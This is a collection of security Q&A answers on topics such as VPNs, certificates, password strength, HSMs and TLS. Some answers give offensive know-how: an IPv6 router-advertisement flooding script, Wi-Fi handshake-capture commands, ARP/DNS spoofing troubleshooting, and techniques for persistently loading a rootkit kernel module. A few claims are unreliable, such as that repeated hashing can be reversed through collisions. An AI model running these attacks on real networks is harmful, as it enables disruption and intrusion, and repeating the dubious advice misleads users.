These long TCP session timeouts might help a handful of customers, but, only if the customer gateway devices also have long session timeouts... then the home users, coffee shops etc.

The better solution for this an application layer keepalive or a URL callback.


REST API communication between two Web Servers - VPN or https?

The two would be equally secure assuming you do things right (TLS certificate pinning on one side, and client cert authentication), but I'd prefer the VPN as it's easier to use in the long run.

HTTPS isn't that easy to use - each HTTPS server should have a cert, the app accessing the API endpoints should take care of verifying the authenticity of the remote cert, and present its own client cert. Plus, for each request a new HTTPS connection would be established, that takes time and resources.

On the other hand, the VPN is managed by the kernel itself (I assume we're talking about IPSec) and the connection is always up. Once that's up and running, you can freely use HTTP, without the overhead of establishing a secure tunnel on each request because the IPSec tunnel is always on. As a bonus, you won't need to do anything more if you ever need to use a different (possibly insecure) protocol later on.


First, Don't use airmon-ng check kill command to fix the fixed channel -1 error, instead, use the following commands when starting monitor mode:

airmon-ng start wlan0
ifconfig wlan0mon down
iwconfig wlan0mon mode monitor
ifconfig wlan0mon up

And as for the handshake problem, from experience, it might be the following:

You're not close enough to the router, there is a chance that you'll not capture the handshake if the client is too close to the AP and the monitor mode device is relatively far.
A hardware issue, your network device is old and not compatible, so it can't capture packets from another protocols. For example if your device running 802.11g and the network is 802.11n

Solution: First, try to capture the handshake from different physical positions, if it doesn't work, try another WiFi device.


Should the Router or Firewall Come First?

ISP->Edge Router->Firewall->Main Switch->LAN is fine. That even helps if you have complex routing configurations like xGRP tunnels. Also helps in multi-WAN scenarios. Your objective is to protect your internal infrastructure, not the Edge Router itself. Any Edge router should support extended ACLs so if you want to protect against something very specific you can do it anyway.

The only case where you should put a Firewall in front of the router is when you have type-specific targeted attacks (using exploits, etc) against that particular router model, but that is a very rare case.


What's the common strategy for issuing OCSP requests

I think you get it wrong. To describe the basic ideas of using a certificate agency and of revocation:

The CA should be locally trusted on the device by installing its root certificate on the device.
The CA issues the certificate based on the CSR.
The device can verify the trust into the certificate by using the locally installed root certificate of the CA.
The CA can revoke certificates it has issued. The revocation information are signed by the CA so that they can be verified using the locally installed root CA.
But the CA certificate itself can not be revoked. Since the root certificate of the CA is self-signed the revocation would have been signed by the private key of the CA itself - but the root certificate should be revoked because exactly this private key is compromised which means one cannot trust anything signed with this key. This means if the CA is compromised one has to remove it as trusted from the device. See How are root CA revocations handled? and Can a RootCA be revoked? for more information.

Thus, there is no way to check the revocation of the CA.
But one can check the revocation of the CA issued certificate. This should be done whenever the certificate is used, i.e. whenever the signature is verified in your case. Since this might be too often OCSP responses and certificate revocation lists (CRL) have some kind of life time and you might reuse the last result as long as it is still considered valid.


KeePassXC for managing passwords, threat model: Entire world actively trying to decrypt my password given the file

It all comes down to the strength of your password. First, you need to know how many bits of entropy in your password. Keepass will estimate password strength in bits, but I find that the zxcvbn test gives better estimates (I *believe* that website runs zxcvbn locally in your browser and does not upload anything to the site, but would forgive your tin-foil-hattery if you don't want to type your master password into some random website).

According to this Quora post there were estimated to be 2 billion personal computers in the world in 2014. So let's pick 10 billion for the number of personal computers, cell phones, and servers in 2019. possibly off by a factor of 2 or 4 if we assume that all machines are multi-core. Possibly off by more than that if we include all GPUs on the planet. So "plus or minus a few orders of magnitude".

You say your crypto params were chosen for a ~ 1 second delay in key derivation from the password, so calculate:

2^num_bits_of_passwd * 1 [second] / 10 billion [machines guessing]

would give you the expected number of seconds to crack.

As an example calculation, KeePass just generated me a 20 char password which it estimates at 117 bits, so *math*, the crack time is 3.8 x 107 x age of the universe, plus or minus a few orders of magnitude.


What could re-enable uPnP on router apart from malware?

Buggy firmware.
There's an old saying in IT:

Never attribute to malice what can be sufficiently explained by incompetence.

This can be fully explained by a buggy firmware that somehow re-enables it automatically after reboot, or never disables it in the first place, or resets that part of the configuration due to some other random event.
Consumer router/AP firmware is well known for being old version, riddled with bugs. The selling points of these devices is not security, it's whatever superlatives about speed they can stick on the box it comes with. The firmware and lack of security is only evident after you've bought it.


Is Windows 10 Vulnerable to IPv6 Router Advertisement Flooding?

The video is from DEFCON 19 i.e. from August 2011.

This is easy to test by starting such an attack from Kali Linux that comes with THC-IPV6 fake_router26, e.g.

#!/bin/bash
for i in {100..999}
do
    atk6-fake_router26 -A 1:c0f:fee:$i::/64 -n 1 eth0
done

By monitoring the Windows 10 target machine during the attack we can clearly see the difference:

The increase in CPU utilization is noticeable but not dramatic. However, more noteworthy is that it stops after a while despite the attack is still ongoing. That's because Windows 10 stops adding new IPv6 addresses after reaching 100 addresses (while we were trying to add 900 addresses):


Storage of 'secrets', keystores, HSMs and the rest

Broadly speaking, key stores are just different 'formats' for storing keys and metadata. To my knowledge there aren't any major security differences between them. Think about it as something similar to encoding an image as Jpeg or PNG or GIF. Subtle differences, but ultimately they store images.

You rightly picked on parts of the problem of key management in general, and hope you start to appreciate why it might get complicated. So you have data encrypted with a key, the key stored inside the keystore, protected with a passphrase, the passphrase stored... you see where this is going? At the end of this chain, there's some relatively small piece of information that if you obtain it - you can pretty much break the whole chain. This will likely give you access to all the data. Similarly, even if you solved this particular problem, the key for encryption/decryption/signature needs to be used. i.e. loaded into a program that uses it to manage the data. When it's loaded into memory, it's in some ways accessible to the CPU, and potentially other programs running on the same systems. If one of them is compromised, your key can be extracted from memory. Even if it is stored in encrypted form.

This is more-or-less where HSMs come in. Without HSM you are limited in your capability to store keys securely, and also limited in being able to perform cryptographic operations in-memory without exposing the key. HSMs 'hide' the key in a (usually physically protected) storage, and perform crypto operations inside this protected area. They operate in such a way to prevent access from other programs or the operating system. All those see is the input/output from this HSM. HSMs also vary in terms of the level of assurance they provide. FIPS-140 is one of the standards that cover different levels of assurance/resilience. Some HSMs also offer some degree of key management / authorization for you. For example, they can 'grant' encryption-only to certain users, but other users will also be able to decrypt data. They can limit the number of crypto operations per user/group, and they can be configured to lock-out after several failed attempts. This is something no keystore is able to do.

So whilst you are correct to note that keystores (and in-memory crypto operations) are usually 'good-enough'. In some circumstances, it might be preferable to use something even more secure. It all depends on the value of the data, the perceived level of current protection, the cost of additional protection using software-only, using HSM or other tools, and the threat profile to this data (who wants it, how capable they are, how much are they going to invest to do it etc).


The answer to this really depends on both "how secure" and "how not technical" you're looking for. I'll evaluate my suggestions on those grounds, though. In roughly descending order of security (but roughly ascending order of ease-of-use):

GPG/OpenPGP: A well-established program, and the open standard it implements (respectively), for secure storage and transfer of data (primary via email). Extremely secure when used correctly, giving nobody at all a way to access or modify the data (unlike merely sending email via TLS, where the servers can do whatever they like with the messages before forwarding them to the recipient, OpenPGP is end-to-end encrypted). Notable in that it will let you send messages in plain text, optionally with a verifiable signature, and attach encrypted (and optionally signed) attachments, all using any email system or indeed any messaging network at all. Some email clients also have built-in support. Not extraordinarily difficult to use but probably more than you want to subject a non-tech person to, and kind of inconvenient for even tech people. Difficult to scale key distribution in a fully secure way, though there are approaches (especially if you are willing to accept some risk of impersonation, or can exchange keys in person).
S/MIME: A standardized protocol for end-to-end security of email. Similar to OpenPGP, but uses the same kind of certificates as TLS for key exchange. You can often find basic certificates for free; higher-quality ones cost money and take time (to verify your identity), but they have the advantage that there's a nominally-trustworthy entity (the certificate authority you get the cert from) vouching for the validity (this makes distribution way easier). Unlike OpenPGP, must be supported by the email client; most desktop mail clients (Outlook, Thunderbird, etc.) support it but most web interfaces do not and Gmail in particular is known to fail to handle S/MIME messages even with sent an desktop mail client. If everybody is already using Outlook or similar it's perhaps less technical than OpenPGP but for general use it's probably worse.
Password-encrypted files, probably archive formats, with passphrase exchanged out-of-band. Classical ZIP encryption is garbage, but some of the more modern encryption formats for things like 7z and even modern ZIP are... possibly not perfect but probably good enough. As long as the key/passphrase can be securely exchanged out-of-band (e.g. via in-person communication), this should be quite secure enough and end-to-end protected. Pretty simple technically-speaking but you do need to ensure that the sender and all recipients have compatible software for opening and decrypting the files (most programs that handle the same formats should have compatible decryption features, and some programs like 7-Zip are cross-platform).
Find a cloud storage service (such as Google Drive, Dropbox, OneDrive, Box, etc.) that the sender and recipient(s) both have accounts with. Upload the files to that service, share them with the other account, and (if necessary) send the recipient(s) a link to the item. This is generally secure against third parties but NOT against the storage provider - most of them do not provide any end-to-end security and explicitly retain the ability to access your files if necessary (as they see it) - so it requires trusting Google or whoever. It sounds like you're already considering this option, so hopefully it's not too technical.
If you both use the same email provider, and you trust that email provider, and that email provider requires encrypted connections (the good ones all do), then you can just send the emails directly. If Alice sends an email from her Gmail account to Bob's Gmail account, it will never be sent over the unencrypted Internet. (Microsoft's email services should provide the same protection, though I know less about their protections.) Obviously this one requires the most trust assumptions, but it's not actually less secure than sharing a link to a Google Drive item with somebody, and it requires no significant technical knowledge beyond basic use of email.

Note that putting a file in a cloud storage system and then just creating a sharing link ("Anybody with the link can access the file") and emailing the link is not actually more secure than just emailing the file directly. If you both have accounts on the same service, it's strictly less secure than sharing with their account directly.
There are a ton of other options, but they're all either specific to certain contexts (like both using one of the many services that aren't primarily for file-sharing but can do it) or using things that allow easy and secure file transfer but are not email (such as Signal).


Worst case scenario of having the ability to remotely write files to disk as admin

Ok, this is a pretty nasty flaw. If directory traversal is possible, the attacker might overwrite often-used executables in order to infect the box with malware. From there, the rest of the network could get infected through a whole range of different mechanisms: USB spreading, remote code execution vulnerabilities, spear phishing, etc.

Worse, they could use the malware infection to steal any credentials stored on the machine (if it's Windows, there are encrypted Active Directory caches in memory) and log into other systems.

If you're running any public-facing servers that offer up files (e.g. HTTP, FTP, SharePoint, etc) the attacker could overwrite those files with false information, or malware.

At minimum you're looking at a DoS vulnerability, where the attacker fills up your system with large files until the disk is full.


Now with your comment I can understand a little bit more.

You are doing arpspoof, ok now the victim thinks you are the router... but to make a dns spoofing you need to be the dns of the victim. Is the router (now you) the dns for the victim? You didn't specify that and could be for example that the victim have an internet dns settings like Google DNS 8.8.8.8 or any ISP DNS. So maybe is not working because the victim is not using router as DNS.

With a MITM attack you can sniff because everything is passing through you... ok the DNS requests are passing through you... you can see them... but you are doing nothing to spoof them because maybe that requests are not thrown to you and they are only passing through you.

So, check the DCHP of your network. What DNS es giving to the clients? If is not the same as gateway that's the reason is not working for you.

If it is giving for DNS same ip as gateway, then, it is supossed you are doing right... but if is not working be pretty sure you have all your iptables right.


What is the point of making a complicated PUBLIC password?

Reason may be:

This Windows has implemented a strong password policy, thus the user MUST HAVE a "strong" password.


Kali linux is a distribution designed for penetration testing and computer forensics, both which involve password cracking. So you are right in thinking that word lists are involved in password cracking, however it's not brute force.

Brute force attacks try every combination of characters in order to find a password, while word lists are used in dictionary based attacks. Many people base their password on dictionary words, and word lists are used to supply the material for dictionary attacks. The reason you want to use dictionary attacks is that they are much faster than brute force attacks. If you have many passwords and you only want to crack one or two then this method can yield quick results, especially if the password hashes are from places where strong passwords are not enforced.

Typical tools for password cracking (John the Ripper, ophtcrack, hashcat, etc) can do several types of attacks including:

Standard brute force: all combinations are tried until something matches. You tpyically use a character set common on the keyboards of the language used to type the passwords, or you can used a reduced set like alphanumneric plus a few symbols. the size of the character set makes a big difference in how long it takes to brute force a password. Password length also makes a big difference. This can take a very long time depending on many factors
Standard dictionary: straight dictionary words are used. It's mostly used to find really poor passwords, like password, password123, system, welcome, 123456, etc.
Dictionary attack with rules: in this type dictionary words are used as the basis for cracks, rules are used to modify these, for instance capitalizing the first letter, adding a number to the end, or replacing letters with numbers or symbols

Rules attacks are likely the best bang for the buck if all you have are standard computing resources, although if you have GPUs available brute-force attacks can be made viable as long as the passwords aren't too long. It depends on the password length, hashing/salting used, and how much computing power you have at your disposal.


Does it defeat the purpose to create an OpenPGP authentication subkey that is not password-protected?

Password-protection of OpenPGP keys means they are encrypted symmetrically with the passphrase used. As you already stated, this is especially helpful if the encrypted copy of the key is stolen.

  Is there any way that using a passwordless authentication-only subkey might compromise the security of my other subkeys, or the originating secret key?

No. The authentication subkey can be used for exactly one specific operation: authentication. It is linked with the primary key by pairwise binding signatures (in the primary key's binding signature on the subkey, also the allowed key usage is configured). Most importantly, a subkey cannot be used to bind new subkeys to the primary key, only the primary key is allowed to perform this operation.

As all subkeys and also the primary key are cryptographically completely distinct keys, a broken/stolen subkey does not harm the others.


Is rolling my own firewall on top of my normal firewall dangerous?

I applaud your desire to create your own firewall in order to understand them better. What I would suggest is creating a VM and deploy and test your firewall on that. You risk nothing this way because you are in a closed environment.

As further advice, try looking at iptables (Linux) and play with custom rulesets before you create your own programs. Use nmap, scappy, and wireshark for testing and troubleshooting.

As a direct answer, the pre-installed firewall will protect you as far as it is configured. The 'extra' firewall will be additive and because of that, might create confusion for your testing of your own firewall.


Banking platform accepts password containing subset of real password

This does not mean that your bank is storing your passwords in a plaintext format. The bank could simply be truncating the input password to a certain length before hashing it.

It is a security flaw as there is no good reason to artificially limit the length of passwords, but it might not be as bad storing passwords in plaintext. I would write to them and demand an explanation of why they are doing this.


How strong should a database password be?

So I'm simply asking, how strong would my (super user) database credentials ideally be?

Maximum strength.  Based on this answer, a length 100 cryptographically random password with upper, lower, numbers, symbols fits that.

Store it in KeePass or similar.

  why shouldn't I just generate a random 40 letters string and use it hard-coded in my script files as a password?

Whoa, there, Tex.  You SHOULD NOT be using that super user account for ANY scripts; you FIRST need to create different user accounts for them, with minimal permissions - and those cryptographically random 40 character upper, lower, number passwords are then pretty good (skip symbols, length trumps character set size, and 40+ is good)

Then, if you can, store them encrypted - openssl can be used in scripts to decrypt on the fly, even if you have nothing else.

  The only backside is that if it gets lost somehow then I'll be left with no access to my db.

False.  One, that super user password is for emergencies; have your own account as well (for auditability.  Two, your scripts use their own less permissioned usernames; those still run.  Three, with physical access to the machine, you can always recover and/or reset the super user password - it just takes some work.

Four, it's in your KeePass.  Remember?

  And if I use 3 database servers, where 2 of them are simply backups, would I, as best practice, remember the credentials of them all? Using the same password seems dangerous if my concern is hackers. How do big companies deal with it?

You remember your very strong personal credential to get into your KeePass, and then copy/paste (or use the awesome autotype feature) the unique, per-username*server password in as required.

Big, highly secure organizations?  They use a hardware security module (HSM).  Break out your checkbook.


Are you supposed to see Root CA in SSL chain?

The computed trust chain depends on the root certificates in the trust store and on the algorithm to compute the trust chain. In this specific case the server sends the following certificates:

 0 ... CN=www.comodo.com
 1 ... CN=COMODO RSA Extended Validation Secure Server CA
 2 ... CN=COMODO RSA Certification Authority

The issuer of [0] is [1], of [1] is [2] and of [2] is ...CN=AddTrust External CA Root.

The browser has a self-signed certificates for CN=COMODO RSA Certification Authority in the trust store and prefers short trust chains and thus computes a  trust chain which ends with this certificates. Note that the CN=COMODO RSA Certification Authority the browser has is a self-signed CA certificate (i.e. root CA) and not the same certificate as send by the server. They both have the same public (and therefore private) key though so that they can both be used to successfully validate the signature of CN=COMODO RSA Extended Validation Secure Server CA.

openssl has likely also this certificate in the trust store but has also a certificate for CN=AddTrust External CA Root. Since OpenSSL first tries the longest trust path it will show the path ending with the AddTrust root. If the AddTrust certificate would not have been in the trust store it would have also shown the short trust chain ending with CN=COMODO RSA Certification Authority. This would at least  be the case with OpenSSL 1.02 and later. Previous version would fail validation if the last certificate in the send chain had no issuing root certificate in the trust store.


In the SSL/TLS handshake, things go thus: the client sends a maximum supported version; then the server chooses the version that will be used, and sends it to the client.

The server, by definition, won't choose a protocol version that it does not support. The server will try to select a version that it supports and that is also supported by the client; however, the server has only partial information about what the client supports, since it only received a "maximum supported version". If the client says "up to TLS 1.1", then the server knows that the client supports TLS 1.1 (or least claims to) but not TLS 1.2; whether the client would support/accept TLS 1.0 or older protocol versions is unknown to the server at that point.

In your envisioned situation, if the server supports only TLS 1.2 and SSL 3.0, then it will select only TLS 1.2 or SSL 3.0. If the client says "I support up to TLS 1.1", then the server will not select TLS 1.2 (since, at this point, the server knows that the client does not support it); therefore, it will choose SSL 3.0, which is its only other choice. The client, upon receiving that answer from the server, may very well say "SSL 3.0? What sort of antique server is that? Why not flint stone tools while we're at it?" and refuse to communicate any further.

Basically, for the handshake to succeed, there must be a protocol version that both client and server support. If the client supports only TLS 1.1, and the server supports only TLS 1.2 and SSL 3.0, then there is no common protocol version, and communications won't happen.

Now there may be weird situations in which client and server fail to notice that they do have a version that they both support. For instance, the client, for some reason, supports TLS 1.0 and 1.2, but not TLS 1.1; and the server supports TLS 1.0 and 1.1, but not TLS 1.2. In such a situation, the client will claim to support "up to TLS 1.2", and the server, who knows only TLS 1.0 and 1.1, will choose TLS 1.1, that the client will reject.

In practice, such situations do not occur, because implementations don't have "holes" in the range of protocol versions that they support. If a client or server supports versions X and Y, then it will also support all versions between X and Y. It makes very little sense to support TLS 1.0 and TLS 1.2 but not TLS 1.1.


Assuming you have complete privileged access to the filesystem on a Linux computer, you can load arbitrary kernel modules. There are several techniques you can use (non-exhaustive list):

Specify the module to load at boot using various configuration files.
Modify files in modprobe.d(5) to autoload your rootkit whenever a module normally loads.
Modify modules.dep(5) to specify your module as a dependency of another module.
Modify the initramfs to include your module in place of another module which is to be loaded.
Modify or replace an existing kernel module to contain your payload.

The final technique is likely the most stealthy, as it does not involve any configuration file changes and requires reverse engineering or keeping track of file integrity to detect. Note however that kernel module signing can defeat this by enforcing a valid signature on any modules to be loaded. If the module was compiled and signed on the same system as it is being used on, there is a chance that you can find the signing key in the unallocated space of the filesystem (as it is created at compile-time and then merely unlinked), but it's a long shot. If kernel module signing is in place and you are unable to obtain the signing key, you will have to find other methods to gain access to the kernel.
If you simply want to automatically load a module on boot without user interaction, you may be able to, making your desire to avoid insmod possibly superfluous. Various initramfs-generation scripts such as dracut, genkernel, and mkinitcpio are able to be used to include modules into the initramfs, and provide hooks for custom scripts. You can load the module in there.

Although not a malicious module per se, you may be able to trigger autoloading of a poorly-audited and insecure module that you have a working exploit for and use that module to escalate privileges. The two main ways to cause module autoloading is to perform a syscall with arguments that require an unloaded module (such as socket(2) with an argument that specifies the famously-insecure DCCP protocol), or by inserting a device that requires an obscure but in-tree hardware driver.


What would be a good set of criteria to consider a password safe?

The concept you are looking for is called password entropy. Entropy is the measure of how many different combinations is possible, and is usually measured in bits. Entropy both depends on the length of your password (concatenate two passwords and you sum the entropy) and how you generate it.

If your password is a random string generated from the base64 charset, each character has 6 bits of entropy. If you randomly pick 5 words from a list of 4086 english words, each word has 12 bits of entropy, and there is a total entropy of 60 bits. Therefore, a 5 word password chosen as above is as secure as a 10 char base64 string (or a 15 char hexadecimal string), and somewhat easier to remember.

Some things to note: A base64 charset generally has uppercase and lowercase alphabetical, numerals, and 4 other characters. 5 non random words (such as a grammatically correct phrase), in typical english, has 2.62

I'll finish later.


gets() does not limit its input, it is impossible to use securely.

I'd suggest to use

fgets(buff,15,stdin);

instead of gets.

Other solutions may exist.


Is this a secure way of storing passwords?

actually, hashing it MANY times is bad. here is a quote from http://yorickpeterse.com to prove that.

  "To cut a long story short, hashing a hash N times doesn't make your passwords more secure and can actually make it less secure as a hacker can quite easily reverse the process by generating hash collisions."

read the full explanation at http://yorickpeterse.com/articles/use-bcrypt-fool/


Hundreds of empty-username logins in Wordpress site

It sounds like something on your site is generating posts to your authentication page (perhaps a bug or misconfiguration) with no credentials. Your brute force protection is picking up on the Auth failures and locking users out.

Then when you visit the site you generated the same empty authentication posts and triggered the same brute force protection and locked yourself out.

So dig deep within your core or perhaps chrome Developer tools and determine where those auth posts are coming from.


There's no fix for this. Anyone can forge the From: address in an email, and only a technically sophisticated user can detect the forgery.

You could use DKIM and/or SPF to increase the chance that ISPs will detect the forgeries and block the emails, but this will only work sometimes.


ports above 1024 vulnerable against man in the middle

I think you are mixing up two things:

A man-in-the-middle attack happens outside your computer in the network. All ports are in principle vulnerable against such attacks, unless you use a secure protocol on them
Only the root user can bind to the lower ports (up to 1023), but any user can bind to the other ports. Therefore, you usually don't want to use a higher port for things like ssl.


Are some passwords more vulnerable to password crackers?

The final part of your question is easy to answer:

They do exactly what you have suggested:

dictionary words
common passwords
faster processors
more processors

but they also use hash tables or rainbow tables, which allow the attacker to trade off time before getting the hashes with time taken to break afterwards. In simplistic terms they effectively pre-calculate password hashes (not exactly correct - look at our questions on rainbow tables for more info)

The problem itself is why we always recommend long passwords. Above a certain length they are effectively un-brute-forceable in the lifespan of the universe (or other appropriate milestone)


Why is a separate reconnaissance server needed for DNS cache poisoning?

From looking at the source, I am going to wager that one potential reason is due to the fact that the user has the option to spoof the source IP address that is sending the malicious DNS requests and responses.

If one was using the target name server to retrieve information, they would need to make requests from their true IP in order to receive responses. If they were doing this in combination with sending the malicious requests from a spoofed IP, a network admin in charge of the target DNS server could notice the two IPs making requests regarding the same malicious hostname, and easily determine which one is spoofed and which one is a real originating IP.

So, this makes it possible for an attacker to fully disguise the source of the attack.


Are stack & heap overflow exploits no longer effective?

"Traditional Way" could mean anything. I'm assuming you're referring to a buffer overflow where the return address is replaced with an attacker controlled address on the memory to execute artbitrary code. Yes, this is mitigated by the NX bit. But, no. This does not stop attackers from using other mechanisms such as Return oriented programming which uses ROP gadgets to chain instructions to effectively execute code of their choice.

I had the same question before, but I realized that stack and heap overflows will not become extinct in the near future. Windows, Linux, Solaris and other popular OSs have protection mechanisms enabled which greatly reduce these attacks. On the other hand, think of mobile platforms. Firmware, Baseband code usually written ages ago in C, are still susceptible to these attacks, and those systems may not have the protection mechanisms mentioned above.

This answer, is an excellent read to learn more about the protection mechanisms. Your specific question about NX is also covered there


This is most likely entirely normal, because of how modern SSDs are designed.
When you use ATA secure erase it is not wiping the whole disk. It is removing the encryption keys on the drive controller, which are used to transparently encrypt data before it is written to the memory chips. Removing this key is virtually instantaneous as you have discovered.
The alternative would be to erase each memory segment individually. This would be slow and, on an SSD, would shorten lifespan as the memory technology has a fixed amount of erase cycles.
The same technique is used for “factory reset” or “secure erase” features found on modern smart phones and tablets.


Collecting credit card info in HTTPS iframe within an HTTP site

What they are doing is certainly better than not doing https at all.  However, their external http page is more susceptible to attacks like Man-In-The-Middle that could cause the 'secure' iFrame to be replaced or compromised in other ways.  This method makes it hard for end users to make their own determinations, too - the lock icon is helpful and browsers are working hard to teach the users how to determine if a site is safe.

Given the minimal cost of https now and given how much additional security it offers in general, there's no reason for them to defend this - they should just fix it and go https everywhere.


In OpenVPN, is the dh1024.pem file dependent on the CA?

That file has no dependency on any certificate or private key. It is not secret either. It can even be shared between various servers that don't necessarily trust or even know each other.

The dh1024.pem file contains Diffie-Hellman parameters. The DH key exchange is an algorithm played in a given finite group; namely, integers modulo a prime p. For a successful DH:

There are known parameters p (a big prime) and g (a conventional integer in the 2 to p-2 range, known as the generator).
Party A generates a random secret value a, computes ga mod p, and sends that to party B.
Party B generates a random secret value b, computes gb mod p, and sends that to party A.
Party A computes (gb)a mod p (raising the value received from B to its secret exponent a).
Party B computes (ga)b mod p (raising the value received from A to its secret exponent b).

The magic of DH is that both A and B end up with the same value, that eavesdropper cannot recompute from the two values that were sent across the wires.

In all of this, the p and g values are the "parameters" and must be known to both parties; but they are not secret. Security is ensured as long as:

p is large enough (at least 1024 bits; arguably, 2048 bits would be better).
p was not generated with a "special structure" that makes discrete logarithm easier.
g generates a subgroup of integers modulo p whose size is a multiple of a big enough prime (the order of g modulo p is the smallest integer r ≥ 1 such that gr mod p = 1; it is required that the greatest prime divisor of r has length at least 160 bits, preferably 256 bits or more).

The whole World could use the same parameters; but many people prefer to generate their own parameters, just to be sure that their parameters were not "cooked". This is what build-dh does. The resulting file (dh1024.pem) contains p and g, but nothing else. These values are not secret. They do not depend upon any external element, neither certificate, private key, or anything else.


Can the ransomware encryption key be derived from comparing encrypted and unencrypted files?

What you are suggesting is a Known Plaintext Attack, and yes if the encryption algorithm is bad enough, it could be used to discover the key or keys used to encrypt the data, depending on the cipher used. I say keys because some ransomware uses individual keys per file, so cracking one key would only give you the key to that file.

Practically this is unlikely to be useful as unless the ransomware encryption scheme has some sort of flaw (weak cipher, poor pseudo-random data source, small key, etc) or you have access to massive decryption computing resources then your great-grandchildren might just live to see one of the files cracked.


Security problem with confirmation email

Reinstalling shouldn't need a verification code, if they have their name and password to login. Reinstall on fresh device, log in, there is your account.

Password reset, on the other hand, implies they have lost/forgotten password, but still know their username. If their username was their email, then they know which email they've signed up with.

So I have to assume they gave you an email address when they signed up, but don't use that to login, they use some sort of other username.

If they don't know the email address, and they don't know the password, they need to provide some form of proof of ownership/control over the account.

Not knowing what your app specifically does, I can't suggest anything, other than, would support have access to anything only the account owner would know (e.g. value of last bank balance)?

Yes, that's what the email address was supposed to have been, but perhaps you could use something else for verification?


Truecrypt,  with an executable of the installer in the thumb drive (unencrypted ofc) so you can install it on any computer you plug your thumb drive. If it's possible encrypt with a pass in the form of HA&%^&G^ARELIBSFhahdjag62r&^^^5129380y. Drawback of this is that you'll have to carry another thumb drive with you to contain your password in .txt. Unless you can remember something like that :P.


Block all internet access from a computer except for allowed applications and domains?

This is very simple- use a firewall with a deny all rule, and then add specific allow rules for the domains and ports you want to allow.

For example, for website access all you want to allow are ports 80 and 443 for that website, as normal website access is on those ports.

As Mark commented, you will need to learn about ports and how connections are made. If you do not yet understand these basic terms, you will not be able to rely on your controls.


Can my school computer see my files via USB?

If they just gave you a stock computer without any modifications, probably not. Usually computers do not automatically make a copy of data from USB drives. However it is not uncommon to store metadata about the files somewhere, for example thumbnails and things like what sort order you picked for that drive. Usually the natural place to store this is somewhere in the same directory, so there's not really information being extracted from your drive. But depending on how exactly the computer is configured, some references may remain on the computer even after.
For example, if you open any files they will probably be recorded in some "recently opened files" menu that will remain even after the USB drive is gone. This will only record the name of the file, not the contents, though. You could simply avoid opening your photos, but it's possible that you have some kind of image browser installed that automatically scans every directory and saves thumbnails elsewhere.
Of course the school could have installed some kind of program that does record some or all of data from USB drives. It may be unintentional, such as an antivirus that collects files it consider suspicious (false positives are very common). Or it may be intentional, if the school IT wants to monitor what students are doing "for their security". Furthermore, the computer may be compromised by hackers, malware or viruses, who install evil software without the school's knowledge.
In practice it is rare for schools to spy on their students in such a blatant way (although it's not unheard of), and from what I know Chromebooks aren't considered particularly insecure (if you trust Google...). But there's also no guarantee that it won't happen. The safest option is:

Use your school laptop strictly for schoolwork
Never login to any personal account or enter any personal password on the school laptop
Never let any private files come on to the computer or touch it in any way
Assume someone is watching everything you do on the computer at all times, and will keep a copy of everything you do on it

By this token, I would never plug in a USB drive with personal photos to a school laptop. I would do a secure erase of the whole drive before and after it touches the laptop, or more conveniently just buy a separate USB stick for school stuff (they're like $10).


How to securely access web api from Html5 Website

Your use-case is the public client as described in RFC 6749 Section 2.1. In this case you have the option to implement the implicit grant. This implies that the user interacts with your site to grant access to the data.

However if your use-case forbids the redirection of the user the OAuth framework can't solve your problem.


That seems to be a pretty-good start. ConstrainedLanguageMode is a huge deterrent. Maybe add Microsoft ESAE as well as JitJea administration. Force the use of SMBv3. Eliminate LM/NTLM. UAC Max. DeviceGuard. Not very user-friendly, but you asked.

Perhaps also:

https://adsecurity.org/?p=3299
https://adsecurity.org/?p=3377
https://www.cisecurity.org


Privacy concern about file modification on SSDs

Not an expert but I think that unless trim is turned on and given enough time to do its work:

The average user can not recover them.
An expert user has chances to recover them
A "pro" with capacity to desolder the memory chips and read them directly can very likely read them unless significant efforts are made to ensure the sector containing the data is physically erased.


Shell not always escalating privileges in narnia

Looks like this is due to the program running under the currently logged in user's account (narnia0) when you run it with gdb vs. the program running under the narnia1 user account when the program is executed.

This can be investigated further by looking at the permissions on the program file.   (Use 'ls -al' to check out the file's permissions.

Look here for how the file permissions work: https://en.m.wikipedia.org/wiki/Setuid


Why aren't there large-scale attacks on BIOS and UEFI

There are EFI attacks that have wide-scale impact (in the case of the linked document, apparently to all Mac laptops not running a recent system update).  Attacks on firmware have occurred in the wild as well.  In short, such attacks are possible and are probably happening; it just might be that not many people are talking about them.


OpenSSL 1.1.1d - how does it compare to BoringSSL now?

According to Google's own source code repository, BoringSSL is not intended for general use and the programming interface is not stable. They are, however, using it for both Android and the Chrome browser. I personally would not use it in my own products because the interfaces are not stable. Cloudflare seems to be using it, but they have more resources to dedicate to updating to new APIs when BoringSSL updates than I do.


Is my pseudo "password manager" solution secure?

I can see a couple issues:

1. You are still vulnerable to phishing.

Using a proper password manager will protect you from a site using homoglyphs to look like the official site. For example, fаcebook.com and facebook.com. They look identical, but on the former, the a is not the Latin a, but the Cyrillic version. You cannot visually identify the forgery.

2. You cannot easily generate TOTP tokens

You can save the shared key on your password file, copy the key and use another program or script to calculate the token for you. But would you? Probably not.

3. Backing up by hand is a hassle

You can forget to backup after a critical password change and get locked out, or at least have to reset the password. You may end up with different sets of files, and have to remember which one is the most recent. You have to be disciplined to replicate every change among your multiple locations.

4. Browser integration and user interface

This is more a usability issue. With a proper password manager, you get a dialog box to save any new login on its database, and to change the stored password when you change it on the site, you can audit your passwords to see the age of each one, you can auto-generate strong passwords without being bitten by the lack of randomness every human suffers from, and so on.

There's a saying don't create your own crypto, unless you are a cryptographer. I would say don't invent your own password manager unless you are a security savvy, expert programmer. There's lots of password managers around, just choose one and be happy. And safe.


How does neighbor know when WiFi/Internet is used?

Since you are talking about SSID, I assume you connect over a WiFi Network to your cable modem.

WiFi is open in the sense that anyone can listen to the packets anyone exchanges with the WiFi access point, even when the connection is encrypted.

It only requires a WiFi network card/USB Stick etc. working in promiscuous mode, and you can see all packets in the air, of any network. With this, it's possible not only to see whether a device connects to any network, but which device, for how long, and how much data it exchanges.

This has been done for various purposes, one is to keep track of employee's work hours.

Here's more information about the topic, but a quick google will reveal much more: https://www.howtogeek.com/196998/your-devices-broadcast-unique-numbers-and-theyre-being-used-to-track-you/


What's new about the "DoubleAgent" attack?

It is true that the concept of Application Verifier was already known (though poorly documented) as a verification tool. The thing is that it is the first time that we see attackers using this feature as an injection technique to inject DLLs into trusted processes.

The new concept about this attack is using the Antivirus as a malware.
The antivirus is considered a trusted entity on the system and not even an administrator should be allowed to inject a DLL into its process.
Doing so gives the attacker the opportunity to stop running away from the antivirus but use the antivirus as an attack vector.

